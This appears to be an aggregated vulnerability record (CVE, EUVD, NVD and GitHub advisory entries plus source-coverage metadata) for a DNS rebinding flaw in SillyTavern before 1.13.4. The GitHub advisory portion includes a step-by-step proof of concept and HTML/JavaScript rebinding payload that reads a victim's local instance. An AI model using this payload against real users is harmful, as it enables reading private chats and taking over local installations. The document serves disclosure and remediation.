{"id":"EUVD-2025-32145","revision":null,"records":[{"revision":"6855e4d60c13410ea6df0a79b085a4c5","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-59159","aliases":[],"title":"SillyTavern Web Interface Vulnerable to DNS Rebinding","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. In versions prior to 1.13.4, the web user interface for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing attacks, etc. The vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable. While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.","state":0,"publishedAt":"2025-10-06T15:31:46.126+00:00","modifiedAt":"2025-10-06T15:54:48.346+00:00","affected":[{"ecosystem":"Vendor product","name":"SillyTavern","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"SillyTavern\",\n                    \"product\": \"SillyTavern\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.13.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.7,"severity":"CRITICAL"}],"references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q","https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320","https://docs.sillytavern.app/administration/#security-checklist","https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting","https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-59159","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-59159","identifiers":["CVE-2025-59159"]},"retained":false,"historicalAffected":[]},{"revision":"3a63ed6a5126448ba153553d7dd81817","observedAt":"2026-11-07T02:43:33.635+00:00","statement":{"source":"euvd","id":"EUVD-2025-32145","aliases":["CVE-2025-59159","GHSA-7cxj-w27x-x78q"],"title":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. In versions prior to 1.13.4, the web user interface for S…","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. In versions prior to 1.13.4, the web user interface for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing attacks, etc. The vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable. While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.7,"severity":null}],"references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q","https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320","https://docs.sillytavern.app/administration/#security-checklist","https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting","https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-32145","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 6, 2025, 3:31:46 PM","dateUpdated":"Oct 6, 2025, 3:54:48 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-32145","identifiers":["EUVD-2025-32145","CVE-2025-59159","GHSA-7cxj-w27x-x78q"]},"retained":false,"historicalAffected":[]},{"revision":"28bcf5efb69447849a0ba9931f99aac3","observedAt":"2026-10-25T03:17:18.142+00:00","statement":{"source":"nvd","id":"CVE-2025-59159","aliases":[],"title":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. In versions prior to 1.13.4, the web user interface for S…","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. In versions prior to 1.13.4, the web user interface for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing attacks, etc. The vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable. While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.","state":0,"publishedAt":"2025-10-06T16:15:34.377+00:00","modifiedAt":"2026-10-19T16:10:00.26+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.6,"severity":"CRITICAL"}],"references":["https://docs.sillytavern.app/administration/#security-checklist","https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting","https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320","https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4","https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-59159","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-346","CWE-940"],"productCriteria":[],"sourceDates":{"published":"2025-10-06T16:15:34.377","lastModified":"2026-10-19T16:10:00.260"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-59159","identifiers":["CVE-2025-59159"]},"retained":false,"historicalAffected":[]},{"revision":"ca5c82df510144ada69352d5c9530473","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-7cxj-w27x-x78q","aliases":["CVE-2025-59159"],"title":"SillyTavern Web Interface Vulnerable DNS Rebinding","description":"### Summary\nThe web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.\n\n### Details\nDNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like `127.0.0.1` for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance **without** it being exposed, just by visiting a website. \n\n### PoC\n1. Host the PoC HTML file on a `/rebind.html` endpoint (or any other endpoint) on a web server on port 8000\n2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)\n3. Replace the URL in the HTML with the returned URL on the site\n4. Go to `http://[URL]:8000/rebind.html` in firefox or on any mobile browser if you're using termux\n5. Check the developer tools console. It should return all of the data \n\nHere is the PoC code:\n\n```html\n<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <title>Rebind Payload</title>\n</head>\n<body>\n<script>\nasync function tryRebind() {\n  while (true) {\n    try {\n      let res = await fetch(\"http://[DOMAIN HERE]:8000/\");\n      let text = await res.text();\n\n      if (text.includes(\"Directory listing for /\")) {\n        console.log(\"Still attacker server, retrying...\");\n        await new Promise(r => setTimeout(r, 2000));\n        continue;  // don't break yet\n      }\n\n      console.log(\"GOT VICTIM RESPONSE!\");\n      console.log(text.substring(0, 300));\n      break;\n\n    } catch (e) {\n      console.log(\"Fetch failed, retrying...\", e);\n      await new Promise(r => setTimeout(r, 2000));\n    }\n  }\n}\ntryRebind();\n</script>\n</body>\n</html>\n```\n\n### Impact\nAttackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems. \n\n### Resolution\nA vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable.\n\nWhile the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.\n\n- [Documentation](https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting)\n- [Security checklist](https://docs.sillytavern.app/administration/#security-checklist)\n\n### Resources\n- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320","state":0,"publishedAt":"2025-10-06T20:18:55+00:00","modifiedAt":"2025-10-06T20:57:29.380317+00:00","affected":[{"ecosystem":"npm","name":"sillytavern","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.13.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q","https://nvd.nist.gov/vuln/detail/CVE-2025-59159","https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320","https://docs.sillytavern.app/administration/#security-checklist","https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting","https://github.com/SillyTavern/SillyTavern","https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4"],"sourceUrl":"https://github.com/advisories/GHSA-7cxj-w27x-x78q","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7cxj-w27x-x78q","identifiers":["GHSA-7cxj-w27x-x78q","CVE-2025-59159"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T23:02:15.9754883+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T23:02:15.9754883+00:00","lastSuccessAt":"2026-11-08T23:02:16.1185375+00:00","error":null,"lastVerifiedAt":"2026-11-08T23:02:16.1185396+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-0ee53194438b774350db8ba2be9961094a7945659f4bca5c09ae0ef23c2c3f0c","complete":true,"records":421267,"lastAttemptAt":"2026-11-08T23:02:15.4905694+00:00","lastSuccessAt":"2026-11-08T23:02:15.4057062+00:00","error":null,"lastVerifiedAt":"2026-11-08T23:02:15.4905694+00:00","snapshotPublishedAt":"2026-11-08T22:18:37+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-64ec014845cf41e0b44c7812575dade1","complete":false,"records":13654,"lastAttemptAt":"2026-11-08T23:11:05.5177476+00:00","lastSuccessAt":"2026-11-08T23:11:05.509+00:00","error":null,"lastVerifiedAt":"2026-11-08T23:11:05.509+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13457,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T23:02:15.9754883+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T23:02:15.9754883+00:00","lastSuccessAt":"2026-11-08T23:02:16.1192591+00:00","error":null,"lastVerifiedAt":"2026-11-08T23:02:16.1192597+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bbd1082fa13b4aff99c01e332b64e44f","complete":true,"records":13666,"lastAttemptAt":"2026-11-08T23:02:17.0620293+00:00","lastSuccessAt":"2026-11-08T23:02:17.059+00:00","error":null,"lastVerifiedAt":"2026-11-08T23:02:17.059+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T23:02:15.8370588+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T23:02:15.8370588+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T23:02:15.64043+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T23:02:15.64043+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T23:02:15.942926+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T23:02:15.942926+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T23:02:15.7372001+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T23:02:15.7372001+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}